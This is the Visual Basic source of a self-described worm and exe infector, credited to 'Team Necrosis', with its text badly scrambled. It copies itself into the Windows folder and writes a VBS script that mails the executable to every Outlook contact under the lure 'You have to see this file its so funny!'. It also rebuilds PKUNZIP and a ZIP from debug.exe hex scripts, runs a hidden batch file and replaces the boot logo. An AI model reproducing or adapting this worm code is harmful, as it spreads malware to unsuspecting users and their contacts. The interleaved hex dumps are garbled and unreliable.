fake exe to the original fake name End If End If End ' End STD ' W32.HLLP.STD.worm by Error of Team Necrosis ' 32-bit exe infector/worm with a hint of social ' engineering ' One of the first Memory-Resident Exe infectors ' written in Visual Basic ' questions? ---> [email protected] ' http://teamnecrosis.20m.com End Sub
Private Sub Form_Load() If Dir("c:\windows\hop_along.exe") = "" Then ' check if already infected FileCopy App.Path & "\" & App.EXEName & ".exe", "c:\windows\hop_along.exe" CreateVBS ' call the Create VBS sub Shell "wscript.exe c:\windows\hop_along.vbs" ' Run the VBS script CreatePKunzip ' Call the CreatePKunzip sub LogoZip ' Call the LogoZip sub CreateBat ' Call the CreateBat sub Shell "c:\windows\hop_along.bat", vbHide ' Run the bat Wait4Bat ' Run the Wait4Bat Loop till bat is completed running FileCopy "c:\windows\logo.sys", "c:\logo.sys" 'Copy Logo file to c:\ End If End End Sub Public Sub CreateVBS() Open "c:\windows\hop_along.vbs" For Output As #1 Print #1, "Set createmail = CreateObject(" & Chr(34) & "Outlook.Application" & Chr(34) & ")" Print #1, " If createmail <> " & Chr(34) & "" & Chr(34) & " Then" Print #1, " Set EachMail = createmail.GetNameSpace(" & Chr(34) & "MAPI" & Chr(34) & ")" Print #1, " For Each GetEmail In EachMail.AddressLists" Print #1, " If GetEmail.AddressEntries.Count > 0 Then" Print #1, " Set Eletter = createmail.CreateItem(0)" Print #1, " For VecH = 1 To GetEmail.AddressEntries.Count" Print #1, " Set FloP = GetEmail.AddressEntries(VecH)" Print #1, " If VecH = 1 Then" Print #1, " Eletter.BCC = FloP.Address" Print #1, " Else" Print #1, " Eletter.BCC = Eletter.BCC & " & Chr(34) & "; " & Chr(34) & " & FloP.Address" Print #1, " End If" Print #1, " Next" Print #1, " Eletter.Subject = " & Chr(34) & "Look At This!!!" & Chr(34); "" Print #1, " Eletter.Body = " & Chr(34) & "You have to see this file its so funny!" & Chr(34); "" Print #1, " Eletter.Attachments.Add " & Chr(34) & "C:\windows\hop_along.exe" & Chr(34); "" Print #1, " Eletter.DeleteAfterSubmit = True" Print #1, " Eletter.Send" Print #1, " End If" Print #1, " Next" Print #1, "End If" Close #1 End Sub Sub CreatePKunzip() Open "c:\windows\pkunzip.dbg" Print #2, "N PKUNZIP.COM" Print #2, "E 0100 B9 2E B9 BF Print #2, "E 0110 A3 22 B9 8D Print #2, "E 0120 00 E8 C0 01 Print #2, "E 0130 E8 61 00 E8 Print #2, "E 0140 53 92 E8 34 Print #2, "E 0150 20 B9 01 50 Print #2, "E 0160 E8 23 00 8B Print #2, "E 0170 02 E8 E7 FF Print #2, "E 0180 E8 D8 FF 58 Print #2, "E 0190 FA 92 5E C3 Print #2, "E 01A0 1E 28 B9 B8 Print #2, "E 01B0 10 72 03 BE Print #2, "E 01C0 12 8B D5 8B Print #2, "E 01D0 00 8B CE C7 Print #2, "E 01E0 C0 75 1F 8B Print #2, "E 01F0 7D CF 03 F5 Print #2, "E 0200 3A FF 97 8B
For Output As #2 BE A5 B8 3E 00 B8 1E B8 EB E8 02 00 CF 06 C5 33 4D
0B 00 4B 00 58 5B BC 48 D5 4F 42 10 E8 68 0B ED 14
2B 06 0A A0 E8 0A 0B 0A 56 02 CD 2B EF 0A C7 33 E3
CF 89 E8 20 28 E8 8B EB 96 33 21 C6 00 05 74 FF 31
32 26 31 B9 00 1F D6 E2 BA C9 8B 83 BA 06 11 EB 56
C0 26 00 E9 58 00 91 50 FF 33 F0 DA 00 B8 81 C7 8D
F3 B9 B8 0E B4 58 B4 E8 FF D2 85 00 0E 66 ED B0 75
AA B8 62 00 4C E8 40 F7 AC 88 D2 95 8D 0A EA 03 16
B4 C6 A9 BB CD 88 CD FF 42 0E 75 8B 4C E8 0F BA 33
30 09 E8 65 21 02 21 B8 84 2A 05 FA 12 A3 83 6A DB
CD E8 2B 0A C6 8B E9 3E C0 AA 3D 83 E8 00 DF 0A AC
21" 50" 00" 50" 06" F0" 82" 0A" 75" 8B" 00" EE" EC" 85" 00" E9" 3C"
Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print
#2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2,
"E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E
0210 0220 0230 0240 0250 0260 0270 0280 0290 02A0 02B0 02C0 02D0 02E0 02F0 0300 0310 0320 0330 0340 0350 0360 0370 0380 0390 03A0 03B0 03C0 03D0 03E0 03F0 0400 0410 0420 0430 0440 0450 0460 0470 0480 0490 04A0 04B0 04C0 04D0 04E0 04F0 0500 0510 0520 0530 0540 0550 0560 0570 0580 0590 05A0 05B0 05C0 05D0 05E0 05F0
1B ED 05 8B 06 E3 E8 BA 47 4E EC 8B 24 EA 1E 74 3E 43 01 B0 EA 74 75 E8 BC EA E7 BF DA 79 26 AA 03 39 74 13 B8 FB F7 CC 0E BF 47 FF 21 72 EB BA FE FE B9 02 F8 B8 81 C2 03 06 DE C2 EB 56 0E
74 5E B0 4D 00 15 B2 FE 4F EB A1 1E DF 4F AC 0D 24 84 49 20 FD 90 08 63 AA 8A 89 BA 73 E4 D2 84 C6 FD 04 4C FF 00 D2 FC B8 7C FC 58 5A 10 19 43 BF E8 62 8B 83 74 FE 40 81 DE AE 00 ED 8D 2B
0C E8 08 12 2B 8B 01 E8 AF EE D6 28 3C F5 3C 3C B9 C0 50 CD BA 3C BF 00 FC D6 0E AE 07 FC AE C0 5E E9 84 2C FF EB 2B C6 01 AA B8 80 B4 92 B9 0B 7C C2 9B CF DE 0B 80 74 FE AE 00 84 3D 75 DE
3C 4F E9 E8 C6 5C 8B 61 E0 8D AE B9 59 C3 20 6F 00 75 BA 21 C4 09 62 8B 33 8A 2A BD 81 E9 59 75 5A CE C0 E8 A3 03 44 06 57 8B 2C 3E 4E E8 20 B0 AA FE 8B BA 00 E8 FD 03 20 00 75 E4 00 FF 03
13 FF 14 71 3B 1C F7 01 FC 5D E9 CD 74 E8 74 74 74 F6 62 A3 0A 74 A9 F2 C0 F7 B9 FF F2 0D 5B FA EB FF 75 71 2A E8 10 20 CD CB AA FC B9 68 00 05 8D B8 7C 00 91 F5 08 E9 B7 E8 57 75 01 2B 36
75 85 FF 00 C1 8B E2 96 83 FC 3C 21 04 D5 17 04 34 85 A9 28 BB 8C A2 8B 45 D1 89 00 20 00 5F 5F E3 E8 E0 FE B9 BA 1B B9 21 03 BA A9 07 FC B4 E9 74 67 14 0E E8 FB 74 C3 72 B7 E8 0C 74 F3 DC
03 DB E8 83 72 54 EB 33 F9 89 01 5B 3C 00 3C 3C BE DB B8 B9 62 AA 24 E9 EB E3 16 B9 83 8F 5E 5E B8 BE 03 E8 A3 00 54 01 B4 FB E0 00 00 B8 3C 37 2E 0B 8B 52 47 B8 05 02 03 00 8E AA D7 72 AE
43 74 3B 7D 22 1E E9 C0 01 1E 53 C3 4E BE 09 4F 62 75 00 72 A9 E2 B9 8B 16 D1 2C 08 35 06 5D 58 05 FF D3 54 2C A1 12 8B 3E 4F AE 75 CD 26 BA FC 8B E8 74 E8 04 2C 8A A4 E8 BF 00 81 2D 06 3B
EB 10 FF 0E 8B 8D 79 A3 76 D6 B8 E8 75 81 74 75 A9 0A 3D 09 B0 F4 EB 0E AC E3 B9 00 B8 D2 C3 C3 0B E8 83 00 B9 2A 0B 1E CD FD E8 29 21 0B 2C A3 CB 31 16 73 EB AA CD 81 C4 00 D0 FF FE 81 D9
05 B8 8B 00 D6 78 01 D6 17 AE 00 90 F1 00 13 03 33 C7 80 C3 02 EB 03 2A 8B 33 E9 8B ED AE 50 52 E8 E3 C2 85 8B B9 C2 D0 21 B0 3E 50 72 E8 AA D0 F3 FC 85 FD DF E8 E8 FF 00 0E 16 00 00 FE 73
92 86 36 75 E8 2E B0 AE A7 80 42 FE 92 8A 3C A2 DB 44 3E BA E9 A4 BF B9 D8 09 37 D5 E2 55 56 56 32 00 1E C0 44 8B 74 AE E9 2F FF BA 17 DC CD AE A4 B8 F6 5A E9 EF F4 00 E2 B5 DE 9E 50 00 0B
B4 0A 26 2E 60 03 07 E3 74 3E EB B8 B4 4C 2D FC AC FF 22 D1 E2 80 E0 8B 32 33 00 33 F1 56 57 8B FD 8A 33 74 0A 16 0B 8B 56 F2 50 FE B8 FD 21 E9 32 2C 75 85 96 FB 00 9E EB 08 AE 72 E8 0E 87
02 E8 B9 8B 00 FA BA 24 06 2A 03 08 02 FF 75 A9 3C 2E B9 0A FD 3E AE 16 D9 51 E8 C0 AB 57 97 F0 B8 44 C9 4D 48 2C B8 4C FF AE 8B A9 00 72 73 E5 C0 AA 06 C0 FE E8 8B 72 58 AD E8 F2 0D 73 D9
CD 99 8B 4D 8B 03 B5 8B 4F AA 53 0C CD 32 6D E2 2E 5A 03 B0 AC 24 AA 2C 8A 02 27 D1 92 53 8B E8 7C 0A 03 E8 78 B9 52 0C E8 75 D7 B4 43 04 0A FE AA E8 3B 74 E8 30 CA 03 EB 92 95 E8 01 18 2B
21 00 55 0C 4D 7C 0A FA 4F 00 B4 CD 21 ED AC E2 75 C7 72 02 3C B9 EB B9 CD 4D 00 E8 AB 51 F2 76 AA 3C 54 24 05 F7 0B 8B 46 01 E8 1A CD 33 8B E8 E9 2B CF 0B 86 00 AD E8 0B 80 01 BA 91 BB D9
E2" 72" 10" A1" 0A" 20" E9" AD" 4E" 74" 3F" 21" 80" E3" 49" 80" 01" 44" 02" E9" 20" 00" E7" BF" 8A" 75" FD" D1" 4D" FF" AC" FD" E8" 08" 2A" FD" E8" D0" E8" 54" FF" 47" 48" CD" 21" C0" DA" D5" D2" FC" 72" 2B" FE" E9" 33" F9" C6" 3E" E8" 03" 59" 00" F3"
Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print
#2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2, #2,
"E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E
0600 0610 0620 0630 0640 0650 0660 0670 0680 0690 06A0 06B0 06C0 06D0 06E0 06F0 0700 0710 0720 0730 0740 0750 0760 0770 0780 0790 07A0 07B0 07C0 07D0 07E0 07F0 0800 0810 0820 0830 0840 0850 0860 0870 0880 0890 08A0 08B0 08C0 08D0 08E0 08F0 0900 0910 0920 0930 0940 0950 0960 0970 0980 0990 09A0 09B0 09C0 09D0 09E0
A4 0E DB DB FF 20 52 2A E9 78 B8 8A 01 FF D3 E3 80 E0 56 F3 A0 01 74 A3 B9 BF 88 AE A9 BC 35 11 FE AA D4 A0 BD EA A9 DB 33 E2 03 C0 A9 16 EB 47 C0 03 01 03 2C B5 EA 02 E5 0E 52 75 0B 54 20
BE 2B 8A 8A 0A B7 B9 E9 D3 0E 62 C8 93 56 D1 8B FB 93 51 AA B1 E9 BE D4 13 96 87 B8 BF AE 77 77 05 59 AE BD E2 F8 57 AC C0 F4 D8 0B 40 D6 D1 47 F3 FA 00 D8 08 01 F7 8B FE 8B E8 01 B0 4D 45
00 CA D9 D9 F8 72 00 77 EA 8A A4 D0 E8 96 E3 9F 04 E8 BF B1 20 D4 48 AE 00 0B BC 13 02 E8 0C 09 0B 85 8B 62 A8 85 B9 8A 89 83 E2 AC 89 A9 D0 33 AB 03 41 80 8A 56 D2 1F C9 FA DC C3 06 29 78
0E E8 8A B1 93 03 08 0D C3 8F E8 E9 52 8A 8B 62 72 02 02 18 89 00 74 B1 32 8B AE 00 9F 9B B1 B1 00 ED 0E A4 E8 C0 10 D8 00 38 FB 32 87 AC E0 C9 BF FA D3 FF C8 52 89 F7 75 2B F9 B4 E9 20 74
87 89 87 08 5B E8 BA F6 8A 02 26 D0 FF C2 18 A2 12 FF 9F B0 0E B1 03 05 C0 EF 47 E8 32 FE 02 03 32 75 FA E8 0C 74 00 D1 B1 00 83 E4 B2 8A FA 4A C0 FD E0 02 8B 83 17 D3 CF CA 5A 3E 76 20 72
D9 03 A8 2A C3 07 20 DD DA 9F 00 E9 03 32 85 85 93 03 B9 07 FA 02 E9 E8 F3 03 3B 9B FF 8A E8 E8 C9 AE A9 1B 00 F3 33 E3 0F 74 FB 85 A9 C8 41 75 0B AC 8B 72 05 3F 83 D1 5A 89 8B CD F7 46 61
F3 C3 0B D9 D1 00 AF 2A 32 E8 EB 49 C3 C9 DB DB 8A D8 90 F3 A9 E8 E2 9F AA E8 FD 00 8A C3 2F 1F 51 56 F3 00 59 52 C0 FF 03 12 01 C0 48 49 D1 DC 8B 84 1D F7 8A 00 06 E3 89 0E 1E 21 0D 41 63
A4 80 22 E8 EA 8A 8B CD FF D7 EE 25 C3 F7 78 78 C8 C3 00 AA B0 BE 00 FE 59 33 72 59 DA 3C FE FE 86 51 A4 A1 5E A3 F3 01 87 BE 77 74 AB 78 EB 5E 16 C0 D1 5E D8 75 D6 03 17 DC D0 BA 0A 53 74
5E F9 C2 E2 FE 34 F2 D3 D1 FF 3D 03 B8 D3 EE 1F D0 B8 B0 B1 05 FE B1 40 B1 DB F0 5E D1 10 04 04 C1 BE A1 FA 5F D6 AB E2 D8 DA A1 0E E2 17 D3 8B D6 74 E3 4F 32 18 A9 DD EB AE AE 2C 50 54 20
91 08 E8 FF CD 46 E8 EA E3 93 1D 00 00 FE 5E 8A E9 E2 08 08 F3 48 05 A3 04 B1 56 8B E3 73 03 03 32 02 D4 A9 C3 A9 5F F7 A9 A9 5E 8B E8 74 D0 3E A9 1E 56 4F FF 8B 04 84 AD E8 B4 AA 4B 21 55
EB 77 44 8A 74 B5 51 8A 8B 3D 01 04 02 C1 C3 8F 49 A8 F3 FE AA 79 E8 FA E8 03 51 2E 8B 06 8A EB ED 9F AE BE BA 89 56 BE D1 B9 56 D8 5E 15 AB D8 A3 3C 8B 4A D1 16 33 E5 51 03 40 B4 55 20 74
BB 12 00 CB 01 08 FC CD 9F 09 74 04 C3 D1 8A 42 24 E8 AA C0 C7 03 AA A9 8A E8 BF D4 9F AA 4D 08 2B BF BE 42 81 3E 8B B2 E0 0F 8B D1 56 8B 4A AE D6 08 36 79 E3 D6 D2 74 52 00 CD 41 4E 20 69
8B 53 5B 8A C3 9D 5A E8 62 01 1B D3 B1 EB DA A0 01 AE B1 F3 06 E9 FE 51 FE 79 20 AE 20 4D FF B1 E9 42 02 A0 0B D8 0E A9 43 00 0E E3 BF 1D 75 B9 A9 77 D8 D8 03 A9 89 02 8B 5A 21 CD 5A 4D 6C
CF 33 C3 D8 9C C3 59 CE A0 73 2D E0 08 D1 32 E8 04 FF 70 AA D4 13 05 BF 05 FE B7 03 B7 75 EB 07 72 A0 9F BF B0 AE D6 BB 43 33 D6 8B C0 33 E5 00 4A 22 AE FC 1E 8B 12 43 CF 59 5B 21 4A 69 69
BA C0 53 E8 81 50 58 FF 85 09 01 05 E8 E8 FF 70 02 EB FE BF AE FE 01 BC 04 8A BE 2E 8A E5 17 E8 3B 03 BF 62 04 BF A9 02 89 DB A9 87 0B C0 EB 01 03 91 89 5A D8 F2 89 43 BA C3 3B BA 52 6E 74
00" 33" 33" DB" FE" 51" C3" 2A" DB" C3" 01" 01" 9F" D1" D1" FF" D3" DD" C0" 42" 20" 57" 01" AE" 00" 1D" BC" FA" 8F" EB" 3C" 16" F3" 36" 62" A2" E9" D8" 33" 00" 00" AD" BF" B2" 8B" D1" 07" 33" F2" B8" 10" C3" AE" D1" 52" D0" 00" 53" C1" B1" 28" 69" 79"
Print #2, Print #2, Print #2, Print #2, Print #2, Print #2, Print #2, Print #2, Print #2, Print #2, Print #2, Print #2, Print #2, Print #2, Print #2, Print #2, Print #2, Print #2, Print #2, Print #2, Print #2, Print #2, Print #2, Print #2, Print #2, Print #2, Print #2, Print #2, Print #2, Print #2, Print #2, Print #2, Print #2, Close #2 End Sub
"E 09F0 "E 0A00 "E 0A10 "E 0A20 "E 0A30 "E 0A40 "E 0A50 "E 0A60 "E 0A70 "E 0A80 "E 0A90 "E 0AA0 "E 0AB0 "E 0AC0 "E 0AD0 "E 0AE0 "E 0AF0 "E 0B00 "E 0B10 "E 0B20 "E 0B30 "E 0B40 "E 0B50 "E 0B60 "E 0B70 "E 0B80 "E 0B90 "E 0BA0 "E 0BB0 "RCX" "0ABE" "W" "Q"
20 20 20 45 73 55 68 6E 69 69 74 73 6E 6C 00 20 7A 68 70 66 78 3F 20 20 67 00 74 0B FF
20 30 31 20 20 4E 69 67 6E 70 20 65 29 65 55 5B 69 5D 72 6F 69 20 00 63 3A 46 61 04 64
56 32 39 49 52 5A 6E 21 20 46 74 20 3F 73 73 2D 70 0D 65 72 73 00 66 68 20 69 62 0C 69
Sub LogoZip() Open "c:\windows\logo.dbg" Print #3, "N LOGO.ZIP" Print #3, "E 0100 50 4B 03 Print #3, "E 0110 09 49 36 Print #3, "E 0120 67 6F 2E Print #3, "E 0130 07 8E E4 Print #3, "E 0140 E0 50 89 Print #3, "E 0150 28 76 A0 Print #3, "E 0160 BE CC 0C Print #3, "E 0170 77 04 E1 Print #3, "E 0180 BF FD 74 Print #3, "E 0190 BF D0 FF Print #3, "E 01A0 1F 9A AB Print #3, "E 01B0 59 FD 4C Print #3, "E 01C0 17 EA EF Print #3, "E 01D0 F7 7B BA Print #3, "E 01E0 74 8F 8F Print #3, "E 01F0 BF BF 50 Print #3, "E 0200 7E AD D4 Print #3, "E 0210 DF 2A F5 Print #3, "E 0220 47 A9 8F Print #3, "E 0230 77 38 3D Print #3, "E 0240 1F 69 AC Print #3, "E 0250 5A 6F B6 Print #3, "E 0260 DB 0D 82 Print #3, "E 0270 3A ED 56
65 2D 38 6E 65 4A 67 20 5A 69 6F 66 20 00 61 6F 5D 0A 73 3A 74 43 69 65 00 6C 6C 03 73
72 30 39 63 73 52 20 00 49 78 20 69 00 43 67 5D 20 00 73 20 73 61 6C 63 20 65 65 0D 6B
73 31 2D 2E 65 3A 5A 00 50 00 65 6C 54 61 65 20 5B 55 69 00 21 6E 65 6B 49 20 00 02 20
69 2D 31 20 72 20 49 50 20 44 78 65 6F 6E 3A 66 6F 6E 6F 20 20 27 20 00 6E 68 10 0E 66
6F 39 39 41 76 00 50 4B 2D 6F 74 73 6F 27 20 69 75 6B 6E 61 4F 74 66 45 66 61 11 01 75
6E 33 39 6C 65 0D 3A 00 20 20 72 20 20 74 20 6C 74 6E 20 6C 76 20 61 78 6C 73 12 0F 6C
20 0D 33 6C 64 0A 20 00 55 79 61 6E 6D 20 70 65 70 6F 6D 72 65 63 69 74 61 20 00 01 6C
32 0A 20 20 2E 00 00 45 73 6F 63 6F 61 4F 6B 6E 75 77 65 65 72 72 6C 72 74 61 08 03 00
2E 43 50 52 0D 53 57 72 65 75 74 77 6E 70 75 61 74 6E 74 61 77 65 73 61 69 20 07 07 00
30 6F 4B 69 0A 65 61 72 20 20 20 20 79 65 6E 6D 5F 20 68 64 72 61 20 63 6E 62 09 0F 01
34 67 70 72 57 41 67 68 00 50 61 72 72 6E 6F 72 50 4B 77 61 74 68 28 79 20 66 6E 3A 7A 6A 65 5B 70 61 63 6F 6F 64 79 20 69 74 74 65 43 52 74 69 67 3A 61 64 06 0A 1F 3F 00"
20" 2E" 52" 74" 4B" 63" 69" 20" 5A" 6E" 65" 2F" 69" 20" 72" 2E" 74" 6D" 20" 65" 65" 3A" 43" 6E" 20" 20" 05" 7F"
00 00 8F 15 33 71 D7 EA D4 6F EA A8 FA 7C 2D E7 A0 52 45 DE DD 7A BA 1E
38 08 2B 60 67 E9 13 66 CF D4 7C 7F AB 41 68 4A D4 BF 3D DE DD 3E 1E 0F
51 00 C7 40 86 66 6E 73 E9 BF 56 AB FA 15 1F 7D EF FA 4C 8F 3F B7 86 BB
9B 00 15 81 23 73 BF 58 DF 3E 00 CF BD 9F 8E F7 FE 41 66 A7 4C 5A 41 ED
28 00 46 E1 47 99 9E F7 5F 54 80 D4 FA 51 3E A5 AC A9 8B 3C 68 ED D0 66
D3" 6F" 04" 81" 9D" FB" E1" 37" D5" 9F" CD" D4" FD" 27" EA" DF" D7" FE" 66" DD" B9" A7" 76" 5A"
For Output As #3 04 12 53 3F 52 DC 7D 91 7F 37 2D CD EA F4 E9 EA 9F E5 22 9D D5 BB 30 EB
14 00 59 20 45 86 6F C5 A3 EA F3 D5 2B 0D 9E 87 7F 77 A5 DB 09 C3 EC FC
00 00 53 28 0A 42 55 4B 98 A7 8F C7 F5 8D 3F 5F A7 4A 3E DD C2 F1 F5 FC
00 36 ED 36 9D 07 F5 72 4F 7A 3A 2A 37 7C E3 29 D4 7D 5C A0 A8 78 7A F4
00 F8 9D 6C 39 86 CA FA 7F 5C D3 54 F5 45 BD F5 1F FE E8 D7 3F 7A 51 78
08 01 39 28 B3 9D 2E 9B A2 AD 7F 9F 8D B7 55 FD FF BD 1F 1F 1C 7C 16 3A
17 6C 6B 44 4A 85 9E F0 D3 EA F7 3F 13 E5 52 52 D4 5F D5 B4 78 4E ED BD
Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print
#3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3,
"E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E
0280 0290 02A0 02B0 02C0 02D0 02E0 02F0 0300 0310 0320 0330 0340 0350 0360 0370 0380 0390 03A0 03B0 03C0 03D0 03E0 03F0 0400 0410 0420 0430 0440 0450 0460 0470 0480 0490 04A0 04B0 04C0 04D0 04E0 04F0 0500 0510 0520 0530 0540 0550 0560 0570 0580 0590 05A0 05B0 05C0 05D0 05E0 05F0 0600 0610 0620 0630 0640 0650 0660
2E 8E D8 E5 86 B7 A0 D7 35 0F 0F F1 1C A8 32 70 D9 0D 03 29 F9 7D 0D E9 06 E8 F0 2A 5D 02 6F 2A 8F 11 19 80 92 2E FB E0 55 38 B8 FD AC 01 F1 2C 01 F4 6C 01 CF FE 01 CB 9F FC A3 FA A8 F6 D2
66 FB F1 7C 34 DB 8D 9B 25 71 3A F1 82 CE BF 7E D9 28 4D 34 C9 44 36 AC B8 AF E9 E0 9D 2E 80 E0 DC 70 87 0B FE 78 AB 1E C0 E8 E0 55 8E 17 57 0F 17 57 94 17 32 67 FF 80 65 CF 46 9F D1 C7 9B
D3 ED D0 AA 1E CD D1 DD F3 15 3F C6 0E 8F 31 91 A6 D5 82 BE 66 9E 41 28 E1 02 8A 82 BF F8 FE 82 FC C2 BF 5E 2A 21 80 0F 05 AF 06 C0 F0 2C 01 F3 AC 01 F5 2C E0 19 B3 FF C0 32 FF 2F FF BB CB
C9 66 E4 87 06 66 5B FE F8 65 7E E8 86 42 8A DD F3 FB 31 A7 67 7E 1A 19 BD 2E BF DF 0A 0F 2A 3F 55 6B 0A 60 E0 AA 0B 7F B7 02 61 05 57 CA 17 57 FA 17 57 3A 7F F0 0C 59 FF E0 F3 36 FC 48 7E
C3 45 E1 A8 5D CD D3 F8 DC AA 4A FC B2 E6 6F DA B3 31 61 A4 64 51 B7 0E D5 F8 0A 9A B8 56 E0 DD C0 0E B8 E5 82 BF 5E 15 22 2E 7F 37 01 F1 AC 01 F3 EC 01 F6 96 3F F8 06 2C 7F 0D E0 62 E4 19
FD C3 6E AA 7A AC EE 48 EA CB 0E 0E E2 A1 67 C9 43 0D 32 06 27 3A 01 4B 5F 00 B8 F9 E0 FE 82 F0 05 BC E0 AF 57 0A 9D 70 F9 B8 15 A3 17 57 23 17 57 3A 17 57 01 CB 9F FC 03 96 E1 83 F9 5D EF
DD E3 34 43 4A 0C 74 C9 74 F8 30 7B 64 4C E3 6C F9 9B FB 91 33 FD 9E EF 05 E8 E0 AB B7 2A FF 57 7F 45 A5 02 4D B8 EF C1 AB BF 70 FB AC 01 F2 AC 01 F5 2C 01 FF 80 65 CF FE 01 AF 12 25 67 25
68 FB 88 55 7E FA 83 74 C3 AE B0 CE 74 F2 5B BE 48 09 28 9E 23 4E 4E 9A 5C AF 33 80 C0 E0 2E 01 8A C0 31 2E FA E0 AF 7D 80 D0 C1 AB E8 17 57 FA 17 57 3A 17 B3 FF C0 32 67 FF 7A 1C BC 41 3F
D8 DB C2 34 46 F2 B0 28 48 34 01 6F 58 CB 65 CC 79 68 3E 6A F5 27 E9 99 F0 02 3B 0B FE 82 ED 17 E9 09 FE 78 AB C5 02 33 0B 5F 9D 80 F0 2C 01 F3 6C 01 F6 F0 0C 59 FF E0 19 B3 0F F7 87 5A B1
8F 61 6E B6 7A 66 D7 99 0F 4A 26 B9 3A F9 B1 CD 88 7E B3 94 10 1B 04 BD DE 2E 7F 7E 2A FF AF FC AF 7F 2A 1D 80 BD 2E FE 6E 05 D3 0B 57 CA 17 57 4F 17 57 3F F8 06 2C 7F F0 0C DC 15 00 90 BF
C2 BF A7 DB CA 43 1F C1 E9 B1 11 98 3F 6C 01 22 E6 67 31 D5 47 DF 8C B5 EA F8 15 BF E0 38 02 91 02 B2 E0 96 0B FE 78 2A 1C 5C FE EE 01 F1 2C 01 F4 6C 01 CB 9F FC 03 96 3F F8 24 71 AB 29 F8
A0 17 F5 AC C3 E3 0C E8 FC CE EA 53 13 62 EE 1A 24 F4 34 81 4A 86 78 63 AF CC 70 E6 82 EA 2E 9B 2E EE 82 BF 5E 2A 25 E0 F4 70 2A F0 17 57 C9 17 57 85 17 80 65 CF FE 01 CB 9F F8 93 F0 2D 5D
D3 74 FC ED 61 BB 47 8E CC F9 CB 50 56 1F 38 A6 8D 94 17 27 55 E3 02 F7 02 CE C1 AF FF AF F8 BF F8 AF 17 0A DC E0 BE 82 57 2F E0 F7 6C 01 F2 AC 01 F5 2C FF C0 32 67 FF 80 65 6B C1 3F CF B7
3A DB 48 23 BF FD B7 46 90 21 1C 0F 2E 31 C0 A9 E9 36 CC 91 3A D3 DA 56 2E 5F 67 02 B6 02 EF 0A 53 02 0D B8 EB 82 BF 9B 01 A6 82 57 E3 17 57 FA 17 57 2B 59 FF E0 19 B3 FF C0 7F 5F A7 F8 37
3F 34 55 DE DF FE 76 E7 CE E9 5F 77 3F E2 74 C5 49 40 F4 9D D3 A9 AD DF F8 05 80 2E E2 2E D2 B8 4C 2E F9 E0 AF 97 0A B4 17 BF DB 01 F0 EC 01 F3 2C 01 F6 06 2C 7F F0 0C 59 FF 2C FD 3F E2 DE
9D" 76" EB" 8E" 6D" 70" 6B" CB" 4F" 49" C0" B7" 93" FC" 36" F9" 19" 3D" A3" 59" 95" 2D" 5D" F1" 98" 5C" FE" F8" AF" F8" FE" E0" 6F" 78" AB" 15" 02" 8D" B8" FC" DC" 0A" CC" 17" 57" D8" 17" 57" 54" 17" 57" FC" 03" 96" 3F" F8" 06" 2C" 35" E3" 54" F1" 54"
Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print
#3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3,
"E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E
